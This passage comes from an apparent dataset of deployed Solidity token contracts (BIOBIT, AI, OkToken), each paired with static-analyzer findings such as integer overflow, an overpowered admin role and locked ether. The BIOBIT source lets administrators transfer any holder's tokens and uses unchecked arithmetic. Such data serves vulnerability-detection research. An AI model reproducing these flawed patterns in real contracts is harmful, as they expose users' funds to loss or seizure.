","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"spender","type":"address"},{"name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"to","type":"address"},{"name":"value","type":"uint256"}],"name":"transfer","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"}],"name":"frozenAccount","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"},{"name":"","type":"uint256"}],"name":"timelockList","outputs":[{"name":"_releaseTime","type":"uint256"},{"name":"_amount","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"owner","type":"address"},{"name":"spender","type":"address"}],"name":"allowance","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"holder","type":"address"},{"name":"value","type":"uint256"},{"name":"releaseTime","type":"uint256"}],"name":"transferWithLock","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"holder","type":"address"},{"name":"value","type":"uint256"},{"name":"releaseTime","type":"uint256"}],"name":"lock","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"holder","type":"address"}],"name":"freezeAccount","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"payable":true,"stateMutability":"payable","type":"fallback"},{"anonymous":false,"inputs":[{"indexed":true,"name":"holder","type":"address"}],"name":"Freeze","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"holder","type":"address"}],"name":"Unfreeze","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"holder","type":"address"},{"indexed":false,"name":"value","type":"uint256"},{"indexed":false,"name":"releaseTime","type":"uint256"}],"name":"Lock","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"holder","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Unlock","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"account","type":"address"}],"name":"Paused","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"account","type":"address"}],"name":"Unpaused","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"account","type":"address"}],"name":"AdminAdded","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"account","type":"address"}],"name":"AdminRemoved","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"previousOwner","type":"address"},{"indexed":true,"name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"from","type":"address"},{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"owner","type":"address"},{"indexed":true,"name":"spender","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Approval","type":"event"}] | v0.5.0+commit.1d4f565a | false | 200 | Default | MIT | false | bzzr://ef417f2d06447196bb49d28fbd19e2f7810adb526ced9771608c6bf5963fbfe2 |
|||
BIOBIT | 0x54610301eff1c6c2a763f3f1786f3130aac2c456 | Solidity | pragma solidity ^0.4.16;
contract BIOBIT {
// Public variables of the token
string public name;
string public symbol;
uint256 public totalSupply;
uint256 public limitSupply;
address public owner;
modifier onlyOwner(){
require(msg.sender == owner);
_;
}
modifier onlyAdmin(){
require(msg.sender == owner || administrators[msg.sender] == true);
_;
}
// This creates an array with all balances
mapping (address => uint256) private balanceOf;
// This creates an array with all balances
mapping (address => bool) public administrators;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
event TransferByAdmin(address indexed admin, address indexed from, address indexed to, uint256 value);
/**
* Constrctor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
function BIOBIT() public{
owner = msg.sender;
limitSupply = 150000000;
uint256 initialSupply = 25000000;
totalSupply = initialSupply; // Update total supply
balanceOf[owner] = initialSupply;
name = "BIOBIT"; // Set the name for display purposes
symbol = "฿"; // Set the symbol for display purposes
}
/** Get My Balance
*
* Get your Balance BIOBIT
*
*/
function balance() public constant returns(uint){
return balanceOf[msg.sender];
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public
{ // Add the same to the recipient
require(_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
require(balanceOf[_to] + _value > balanceOf[_to]); // Check for overflows
balanceOf[msg.sender] -= _value; // Subtract from the sender
balanceOf[_to] += _value; // Add the same to the recipient
Transfer(msg.sender, _to, _value);
}
/**
*
* incremento de existencias de tokens 5 millions
*
*/
function incrementSupply() onlyOwner public returns(bool){
uint256 _value = 5000000;
require(totalSupply + _value <= limitSupply);
totalSupply += _value;
balanceOf[owner] += _value;
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` in behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferByAdmin(address _from, address _to, uint256 _value) onlyAdmin public returns (bool success) {
require(_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead
require(_from != 0x0); // Prevent transfer to 0x0 address. Use burn() instead
require(_from != owner); // Prevent transfer token from owner
require(administrators[_from] == false); // prevent transfer from administrators
require(balanceOf[_from] >= _value); // Check if the sender has enough
require(balanceOf[_to] + _value > balanceOf[_to]); // Check for overflows
balanceOf[_from] -= _value; // Subtract from the sender
balanceOf[_to] += _value; // Add the same to the recipient
TransferByAdmin(msg.sender,_from, _to, _value);
return true;
}
/**
* Transfer tokens from other address
* @param from_ get address from
*/
function balancefrom(address from_) onlyAdmin public constant returns(uint){
return balanceOf[from_];
}
function setAdmin(address admin_, bool flag_) onlyOwner public returns (bool success){
administrators[admin_] = flag_;
return true;
}
} | [{"defect": "Missing_return_statement", "type": "Code_specification", "severity": "Low", "lines": ["76"]}, {"defect": "Integer_overflow_and_underflow", "type": "Code_specification", "severity": "High", "lines": ["84", "70", "71", "85", "104", "105"]}] | [{"check": "boolean-equal", "impact": "Informational", "confidence": "High", "lines": {"BIOBIT.sol": [101]}}, {"check": "boolean-equal", "impact": "Informational", "confidence": "High", "lines": {"BIOBIT.sol": [17]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"BIOBIT.sol": [114, 115, 116]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"BIOBIT.sol": [52, 53, 54, 55]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"BIOBIT.sol": [97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"BIOBIT.sol": [120, 121, 118, 119]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"BIOBIT.sol": [65, 66, 67, 68, 69, 70, 71, 72, 73]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"BIOBIT.sol": [81, 82, 83, 84, 85, 86]}}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High", "lines": {"BIOBIT.sol": [65, 66, 67, 68, 69, 70, 71, 72, 73]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"BIOBIT.sol": [1]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"BIOBIT.sol": [97]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"BIOBIT.sol": [97]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"BIOBIT.sol": [97]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"BIOBIT.sol": [65]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"BIOBIT.sol": [65]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"BIOBIT.sol": [40]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"BIOBIT.sol": [82]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"BIOBIT.sol": [39]}}] | [{"error": "Integer Underflow.", "line": 5, "level": "Warning"}, {"error": "Integer Underflow.", "line": 6, "level": "Warning"}] | [{"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 52, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 114, "severity": 1}, {"rule": "SOLIDITY_FUNCTIONS_RETURNS_TYPE_AND_NO_RETURN", "line": 81, "severity": 1}, {"rule": "SOLIDITY_OVERPOWERED_ROLE", "line": 118, "severity": 2}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 22, "severity": 1}] | [{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"from_","type":"address"}],"name":"balancefrom","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"limitSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"admin_","type":"address"},{"name":"flag_","type":"bool"}],"name":"setAdmin","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"}],"name":"administrators","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_from","type":"address"},{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transferByAdmin","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"incrementSupply","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transfer","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"balance","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"name":"from","type":"address"},{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"admin","type":"address"},{"indexed":true,"name":"from","type":"address"},{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"TransferByAdmin","type":"event"}] | v0.4.21-nightly.2018.2.23+commit.cae6cc2c | true | 200 | Default | false | bzzr://18a61d1bb54e565d93539a1058889725b826c68a7aa6a5303bbfcace2b95c147 |
||||
AI | 0x208bbb6bcea22ef2011789331405347394ebaa51 | Solidity | pragma solidity ^0.4.24;
// ----------------------------------------------------------------------------
// Symbol : 1AI
// Name : 1AI
// Total supply: 20000000000
// Decimals : 18
//
// Taking Idea From Moritz Neto. The MIT Licence.
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract AI is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
symbol = "1AI";
name = "AI";
decimals = 18;
_totalSupply = 20000000000000000000000000000;
balances[0x0358C107D0064d72Aa9040f7B6DAb92250C164F4] = _totalSupply;
emit Transfer(address(0), 0x0358C107D0064d72Aa9040f7B6DAb92250C164F4, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | [{"defect": "Frozen_Ether", "type": "Code_specification", "severity": "Medium", "lines": ["96"]}, {"defect": "Erroneous_constructor_name", "type": "Access_control", "severity": "Medium", "lines": ["57"]}, {"defect": "Exceed_authority_access", "type": "Access_control", "severity": "Medium", "lines": ["80", "83"]}] | [{"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"AI.sol": [47]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"AI.sol": [58]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"AI.sol": [46]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"AI.sol": [83, 84, 85, 86, 87, 88]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"AI.sol": [216, 214, 215]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"AI.sol": [42]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"AI.sol": [43]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"AI.sol": [32, 33, 30, 31]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"AI.sol": [80, 81, 82]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"AI.sol": [208, 206, 207]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"AI.sol": [44]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"AI.sol": [45]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"AI.sol": [195, 196, 197, 198, 199, 200]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"AI.sol": [26, 27, 28, 29]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"AI.sol": [1]}}, {"check": "locked-ether", "impact": "Medium", "confidence": "High", "lines": {"AI.sol": [208, 206, 207]}}, {"check": "missing-zero-check", "impact": "Low", "confidence": "Medium", "lines": {"AI.sol": [81]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"AI.sol": [100]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"AI.sol": [80]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"AI.sol": [113]}}] | [{"error": "Integer Underflow.", "line": 98, "level": "Warning"}, {"error": "Integer Underflow.", "line": 97, "level": "Warning"}, {"error": "Integer Underflow.", "line": 123, "level": "Warning"}, {"error": "Integer Overflow.", "line": 195, "level": "Warning"}] | [{"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 114, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 115, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 87, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 123, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 42, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 43, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 44, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 122, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 130, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 185, "severity": 1}, {"rule": "SOLIDITY_ERC20_APPROVE", "line": 156, "severity": 2}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1, "severity": 1}, {"rule": "SOLIDITY_REDUNDANT_FALLBACK_REJECT", "line": 206, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 206, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 58, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 195, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 102, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 103, "severity": 1}] | [{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"spender","type":"address"},{"name":"tokens","type":"uint256"}],"name":"approve","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"from","type":"address"},{"name":"to","type":"address"},{"name":"tokens","type":"uint256"}],"name":"transferFrom","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"_totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"tokenOwner","type":"address"}],"name":"balanceOf","outputs":[{"name":"balance","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"acceptOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"a","type":"uint256"},{"name":"b","type":"uint256"}],"name":"safeSub","outputs":[{"name":"c","type":"uint256"}],"payable":false,"stateMutability":"pure","type":"function"},{"constant":false,"inputs":[{"name":"to","type":"address"},{"name":"tokens","type":"uint256"}],"name":"transfer","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"a","type":"uint256"},{"name":"b","type":"uint256"}],"name":"safeDiv","outputs":[{"name":"c","type":"uint256"}],"payable":false,"stateMutability":"pure","type":"function"},{"constant":false,"inputs":[{"name":"spender","type":"address"},{"name":"tokens","type":"uint256"},{"name":"data","type":"bytes"}],"name":"approveAndCall","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"a","type":"uint256"},{"name":"b","type":"uint256"}],"name":"safeMul","outputs":[{"name":"c","type":"uint256"}],"payable":false,"stateMutability":"pure","type":"function"},{"constant":true,"inputs":[],"name":"newOwner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"tokenAddress","type":"address"},{"name":"tokens","type":"uint256"}],"name":"transferAnyERC20Token","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"tokenOwner","type":"address"},{"name":"spender","type":"address"}],"name":"allowance","outputs":[{"name":"remaining","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"a","type":"uint256"},{"name":"b","type":"uint256"}],"name":"safeAdd","outputs":[{"name":"c","type":"uint256"}],"payable":false,"stateMutability":"pure","type":"function"},{"constant":false,"inputs":[{"name":"_newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"payable":true,"stateMutability":"payable","type":"fallback"},{"anonymous":false,"inputs":[{"indexed":true,"name":"_from","type":"address"},{"indexed":true,"name":"_to","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"from","type":"address"},{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"tokens","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"tokenOwner","type":"address"},{"indexed":true,"name":"spender","type":"address"},{"indexed":false,"name":"tokens","type":"uint256"}],"name":"Approval","type":"event"}] | v0.4.24+commit.e67f0147 | false | 200 | Default | MIT | false | bzzr://d4b97dfa8c5f6dee2b23c35f37aaba24afd1263b3860cc226bd10847bd0fbdf4 |
|||
OkToken | 0x09ec28c654706ea5ab23affb64c47311f2a88eed | Solidity | /**
*Submitted for verification at Etherscan.io on 2022-02-09
*/
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() internal view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IBEP20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns(uint256);
function getOwner() external view returns (address);
function transfer(address recipient, uint256 amount) external returns(bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns(bool);
function approve(address spender, uint256 amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint256);
function burn(address account, uint256 amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract OkToken is Ownable, IBEP20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _supply;
string private _name;
string private _symbol;
uint8 private _decimals;
address private _owner;
constructor (
string memory name_,
string memory symbol_,
uint8 decimals_,
uint256 supply_
) {
_name = name_;
_symbol = symbol_;
_decimals = decimals_;
_mint(_msgSender(), supply_ * (10 ** uint256(decimals())));
_setowner(msg.sender);
}
function name() public view override returns (string memory) {
return _name;
}
function _setowner(address owner) internal {
_owner = owner;
}
function getOwner() public view override returns(address){
return owner();
}
function symbol() public view override returns (string memory) {
return _symbol;
}
function decimals() public view override returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _supply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "BEP20: transfer amount exceeds allowance"));
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function burn(address account, uint256 amount) public virtual override returns (bool) {
require(account == _owner, "BEP20: burn not allowed to this address");
require(_msgSender() == _owner, "BEP20: burn not allowed to this address");
